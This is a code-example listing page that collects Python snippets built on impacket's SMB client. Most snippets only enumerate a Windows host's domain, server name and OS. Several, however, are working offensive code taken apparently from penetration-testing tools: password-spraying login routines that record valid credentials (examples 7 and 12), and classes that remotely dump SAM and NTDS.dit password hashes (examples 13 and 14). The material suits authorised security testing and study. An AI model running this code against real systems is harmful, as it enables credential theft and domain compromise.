Ejemplo n.º 1
0
def get_target_info(dc_ip):
    smb_conn = SMBConnection(dc_ip, dc_ip)
    try:
        smb_conn.login("", "")
        domain_name = smb_conn.getServerDNSDomainName()
        server_name = smb_conn.getServerName()
        return domain_name, server_name
    except:
        domain_name = smb_conn.getServerDNSDomainName()
        server_name = smb_conn.getServerName()
        return domain_name, server_name
Ejemplo n.º 2
0
    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    if "STATUS_ACCESS_DENIED" in e.message:
                        pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname
Ejemplo n.º 3
0
    def _get_netfqdn(self):
        smb = SMBConnection(self._domain_controller, self._domain_controller)
        smb.login('', '')
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 4
0
    def _get_netfqdn(self):
        try:
            smb = SMBConnection(self._domain_controller,
                                self._domain_controller)
        except socket.error:
            self._logger.warning(
                'Socket error when opening the SMB connection')
            return str()

        self._logger.debug(
            'SMB loging parameters : user = {0}  / password = {1} / domain = {2} '
            '/ LM hash = {3} / NT hash = {4}'.format(self._user,
                                                     self._password,
                                                     self._domain,
                                                     self._lmhash,
                                                     self._nthash))

        smb.login(self._user,
                  self._password,
                  domain=self._domain,
                  lmhash=self._lmhash,
                  nthash=self._nthash)
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 5
0
    def _get_netfqdn(self):
        smb = SMBConnection(self._target_computername,
                            self._target_computername)
        smb.login('', '')
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 6
0
    def _get_netfqdn(self):
        try:
            smb = SMBConnection(self._domain_controller, self._domain_controller)
        except socket.error:
            return str()
        smb.login('', '')
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 7
0
def login(username, password, domain, host, verbose=False):
    # safe way to kill login functionality once exceptions are made
    if shutdown:
        return None
    desc = ""
    with open(spray_logs, "a+") as sf:
        try:
            smbclient = SMBConnection(host, host, sess_port=445)
            if domain:
                conn = smbclient.login(username, password, domain)
            # if domain isn't supplied get it from the server
            else:
                conn = smbclient.login(username, password, domain)
                domain = smbclient.getServerDNSDomainName()
            if conn:
                message = get_pretty_time("success") + "{}\{}:{} ".format(
                    domain, username, password) + colored(
                        "(Successful!)", "green")
                with open(valid_creds, "a+") as f:
                    f.write(domain + "\\" + username + ":" + password + "\r\n")
            smbclient.close()
        # impacket smb session error handling
        except SessionError as e:
            error, desc = e.getErrorString()
            if not domain:
                domain = smbclient.getServerDNSDomainName()
            message = "{}\{}:{} ".format(domain, username, password)
            if error in smb_error_status:
                message = get_pretty_time("warn") + message + colored(
                    error, "yellow")
            elif error == smb_error_locked:
                message = get_pretty_time("danger") + message + colored(
                    error, "red")
                print(message)
                raise Locked(username)
            else:
                message = get_pretty_time() + message + error
            smbclient.close()
        print(message)
        if verbose and desc:
            print(desc)
        sf.write(message + "\r\n")
Ejemplo n.º 8
0
    def _get_netfqdn(self):
        try:
            smb = SMBConnection(self._domain_controller, self._domain_controller)
        except socket.error:
            return str()

        smb.login(self._user, self._password, domain=self._domain,
                lmhash=self._lmhash, nthash=self._nthash)
        fqdn = smb.getServerDNSDomainName()
        smb.logoff()

        return fqdn
Ejemplo n.º 9
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise 'Error while anonymous logging into %s'
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Ejemplo n.º 10
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise Exception('Error while anonymous logging into %s')
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Ejemplo n.º 11
0
    def enum_host_info(self):
        # smb no open, specify the domain
        if self.args.domain:
            self.domain = self.args.domain
            self.logger.extra['hostname'] = self.hostname
        else:
            try:
                smb_conn = SMBConnection(self.host, self.host, None)
                try:
                    smb_conn.login('', '')
                except SessionError as e:
                    pass

                self.domain = smb_conn.getServerDNSDomainName()
                self.hostname = smb_conn.getServerName()
                self.server_os = smb_conn.getServerOS()
                self.logger.extra['hostname'] = self.hostname

                self.output_filename = os.path.expanduser(
                    '~/.cme/logs/{}_{}_{}'.format(
                        self.hostname, self.host,
                        datetime.now().strftime("%Y-%m-%d_%H%M%S")))

                try:
                    smb_conn.logoff()
                except:
                    pass

            except Exception as e:
                logging.debug(
                    "Error retrieving host domain: {} specify one manually with the '-d' flag"
                    .format(e))

            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname
Ejemplo n.º 12
0
class Smb:
    """Password spray SMB services"""

    smbv1 = True

    # port, timeout and fireprox are dead args here. exist only to keep
    # formatting and logic from main spraycharles.py consistent with HTTP modules
    def __init__(self, host, port, timeout, fireprox):
        self.host = host
        self.url = f"smb://{host}"
        conn = ""
        domain = ""
        hostname = ""
        os = ""
        # creds
        username = ""
        password = ""

    def get_conn(self):
        # Try connecting with SMBv1 first
        try:
            self.conn = SMBConnection(self.host,
                                      self.host,
                                      None,
                                      445,
                                      preferredDialect=SMB_DIALECT)
        except Exception as e:
            # print(e)
            self.smbv1 = False
            # v1 failed, try with v3
            try:
                self.conn = SMBConnection(self.host, self.host, None, 445)
            except Exception as e:
                # print(e)
                # failed to get smb connection
                return False

        # enumerate host info
        try:
            self.conn.login("", "")
        except SessionError:
            pass

        self.domain = self.conn.getServerDNSDomainName()
        self.hostname = self.conn.getServerName()
        self.os = self.conn.getServerOS()
        return True

    def login(self, username, password):
        # set class attributes so they can be accessed in print_response()
        self.username = username
        self.password = password

        # split out domain and username if currently joined
        domain = ""
        if "\\" in username:
            domain = username.split("\\")[0]
            username = username.split("\\")[1]

        # get new smb connection
        if self.smbv1:
            self.conn = SMBConnection(self.host,
                                      self.host,
                                      None,
                                      445,
                                      preferredDialect=SMB_DIALECT)
        else:
            self.conn = SMBConnection(self.host, self.host, None, 445)

        # login
        try:
            self.conn.login(username, self.password, domain)
            self.conn.logoff()
            return "STATUS_SUCCESS"
        except SessionError as e:
            if "STATUS_LOGON_FAILURE" in str(e):
                return "STATUS_LOGON_FAILURE"
            elif "STATUS_ACCOUNT_LOCKED_OUT" in str(e):
                return "STATUS_ACCOUNT_LOCKED_OUT"
            elif "STATUS_ACCOUNT_DISABLED" in str(e):
                return "STATUS_ACCOUNT_DISABLED"
            elif "STATUS_PASSWORD_EXPIRED" in str(e):
                return "STATUS_PASSWORD_EXPIRED"
            elif "STATUS_PASSWORD_MUST_CHANGE" in str(e):
                return "STATUS_PASSWORD_MUST_CHANGE"
            else:
                # something funky happened
                return str(e)

    # handle CSV out output headers. Can be customized per module
    def print_headers(self, csvfile):
        # print table headers
        print("%-25s %-17s %-23s" % ("Username", "Password", "SMB Login"))
        print("-" * 68)

        # create CSV file
        output = open(csvfile, "w")
        fieldnames = ["Username", "Password", "SMB Login"]
        output_writer = csv.DictWriter(output,
                                       delimiter=",",
                                       fieldnames=fieldnames)
        output_writer.writeheader()
        output.close()

    # handle target's response evaluation. Can be customized per module
    def print_response(self, response, csvfile, timeout=False):
        # print result to screen
        print("%-25s %-17s %-23s" % (self.username, self.password, response))

        # print to CSV file
        output = open(csvfile, "a")
        output.write(f"{self.username},{self.password},{response}\n")
        output.close()
Ejemplo n.º 13
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None
        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    #   Methods were modified from:
    #     https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
    #     https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
    ################################
    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host,
                                "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([
                self.host, self.ip, "SAM HASH",
                '{} NTLM hashes added to the database'.format(
                    add_sam_hash.added_to_db)
            ])

        try:
            self.remote_ops.finish()
            SAM.finish()
        except Exception as e:
            self.logger.debug(
                ["SAM", "Error calling remote_ops.finish(): {}".format(e)])

    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        add_ntds_hash.clear_text += 1
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        domain, username = username.split("\\")
                        self.db.update_user(username, '', domain, password)
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail(
                            "Error adding clear text cred to db: {}".format(
                                ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain,
                                                "{}:{}".format(lmhash, nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug(
                            "Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            outfile = os.path.join(os.path.expanduser('~'), '.ar3',
                                   'workspaces', self.args.workspace,
                                   self.domain)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName,
                                  self.bootkey,
                                  isRemote=True,
                                  history=False,
                                  noLMHash=True,
                                  remoteOps=self.remote_ops,
                                  useVSSMethod=use_vss_method,
                                  justNTLM=False,
                                  pwdLastSet=False,
                                  resumeSession=None,
                                  outputFileName=outfile,
                                  justUser=None,
                                  printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret:
                                  add_ntds_hash(secret))

                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Dumping NTDS.dit, this could take a minute'
                ])
                NTDS.dump()

                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} NTLM hashes and {} clear text passwords collected'.
                    format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)
                ])
                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} creds added to the database'.format(
                        add_ntds_hash.added_to_db)
                ])
                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Hash files located at: {}'.format(outfile)
                ])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        try:
            self.remote_ops.finish()
            NTDS.finish()
        except Exception as e:
            self.logger.debug(
                ["NTDS", "Error calling remote_ops.finish(): {}".format(e)])

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 14
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None

        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    ################################
    def enable_remoteops(self):
        # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        try:
            self.enable_remoteops()

            def add_sam_hash(sam_hash, host_id):
                self.logger.success(
                    [self.host, highlight("SAM HASH"), sam_hash])
                username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
                self.db.update_user(username, '', host_id,
                                    "{}:{}".format(lmhash, nthash))

            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()

        except Exception as e:
            self.logger.fail('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))
            try:
                self.remote_ops.finish()
            except Exception as e:
                self.logger.debug(
                    "Error calling remote_ops.finish() for {}: {}".format(
                        self.host, str(e)))
        SAM.finish()

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 15
0
    try:
        smbClient = SMBConnection(address,
                                  address,
                                  sess_port=int(options.port))
        smbClient.login(username, password, domain)

        # get passed credentials
        userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = smbClient.getCredentials(
        )

        # get computer information
        hostname = smbClient.getServerName()
        ipAddress = smbClient.getRemoteHost()
        domain = smbClient.getServerDomain()
        fqdn = smbClient.getServerDNSDomainName()
        osVersion = str(smbClient.getServerOS())
        os_arch = str(get_os_arch())

        print_info()
        print(LIGHTBLUE + "\t[*] " + NOCOLOR, end='')
        print(osVersion + " " + os_arch + " (name:" + hostname + ") (domain:" +
              domain + ")")

        if userName:
            if options.A is None:
                """
                print_info()
                if not domain:
                    print(LIGHTGREEN+"\t[+] "+NOCOLOR+hostname+"/"+userName+":"+password)
                else: